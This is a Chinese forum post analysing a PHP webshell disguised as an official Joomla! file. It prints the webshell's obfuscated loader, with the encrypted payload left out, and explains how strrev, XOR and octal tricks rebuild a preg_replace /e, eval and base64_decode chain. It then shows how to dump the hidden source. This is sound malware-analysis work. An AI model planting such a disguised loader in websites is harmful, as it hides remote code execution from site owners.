有习科论坛会员在论坛发了一个国外的马求解密,下载看了一下,这个webshell在国外很普通,加密方式在国外也有成型的工具,加密后,文件源码被隐藏,然后加了类似Joomla!程序的版权的文件头,伪装成了joomla!的官方文件
解密方式其实不难,鉴于论坛没有,于是就发出来了
首先我们来梳理一下这个文件结构,精简下文件,其中加密过的代码篇幅太长,就用文字“加密过的密文”给代替了。
$JPATH_CONFIGURATION = "af6893d42865a68b91b27cedc82f60c5"; $default_charset='Wind'.'o.'.'ws-12'.'51'; $default_action='F'.'il'.'esMan'; $color='#d'.'f5'; $default_use_ajax=true; $JFactory = strrev('edo'.'c'.'ed_4'.'6e'.'sab'); $JComponentHelper = strrev('ecalp'.'er'.'_ge'.'rp'); $fUaqGnF896hrS="\163\164\162"; $F896hrS="\164\162"; $brtAe=$fUaqGnF896hrS.$F896hrS; $qGnF8="加密过的密文"; $sHgty=$brtAe($qGnF8,"fedcba","abcdef"); $frdgt='LsuEK'^'c]_j.'; $JComponentHelper($frdgt,"\x2F\x2A\x37\x36\x35\x37\x38\x34\x2A\x2F\x65\x76\x61\x6C\x28\x24\x4A\x46\x61\x63\x74\x6F\x72\x79\x28'$sHgty'\x29\x29\x3B",".");
结构大致就是这样。几个变量例如$JPATH_CONFIGURATION
,$default_charset
,$color
这样的基本能猜到意思的,就先不用管了。
主要看这么几个。
首先看$brtAe
这个变量,随便echo一下这个变量的值:
$fUaqGnF896hrS="\163\164\162"; $F896hrS="\164\162"; $brtAe=$fUaqGnF896hrS.$F896hrS; echo $brtAe;
得到结果是strtr,原始代码中唯一引用过的变量的代码就发生了一些变化
$sHgty=$brtAe($qGnF8,"fedcba","abcdef"); //原始代码 $sHgty=strtr($qGnF8,"fedcba","abcdef"); //替换后
以此类推,继续替换其他玩文字游戏的变量
$frdgt='LsuEK'^'c]_j.'; echo $frdgt; $JComponentHelper = strrev('ecalp'.'er'.'_ge'.'rp'); echo $JComponentHelper;
得到$frdgt
变量的内容为/.*/e
,$JComponentHelper
的变量内容是preg_replace
进而最后一行代码也发生了变化
$JComponentHelper($frdgt,"\x2F\x2A\x37\x36\x35\x37\x38\x34\x2A\x2F\x65\x76\x61\x6C\x28\x24\x4A\x46\x61\x63\x74\x6F\x72\x79\x28'$sHgty'\x29\x29\x3B","."); preg_replace('/.*/e',"\x2F\x2A\x37\x36\x35\x37\x38\x34\x2A\x2F\x65\x76\x61\x6C\x28\x24\x4A\x46\x61\x63\x74\x6F\x72\x79\x28'$sHgty'\x29\x29\x3B",".");
接着把上面\x开头的的16进制的内容转出来,得到
\x2F\x2A\x37\x36\x35\x37\x38\x34\x2A\x2F\x65\x76\x61\x6C\x28\x24\x4A\x46\x61\x63\x74\x6F\x72\x79\x28 –>/*765784*/eval($JFactory(
\x29\x29\x3B –>));
转换方法有很多,我是使用文本文档将\x替换为空,然后将字符串2F2A3736353738342A2F6576616C28244A466163746F727928
和29293B
分别以16进制写入WinHex,就得到ASCII文本,即上面的明文。
用上面一样的方法将16进制代码中引用的变量$JFactory输出得到其结果是base64_decode,最后把preg_replace('/.*/e',去掉,换成
$qGnF8="密文密文密文密文密文密文密文"; $sHgty=$strtr($qGnF8,"fedcba","abcdef"); echo(base64_decode($sHgty));
运行一下,最后就得到了PHP的源码。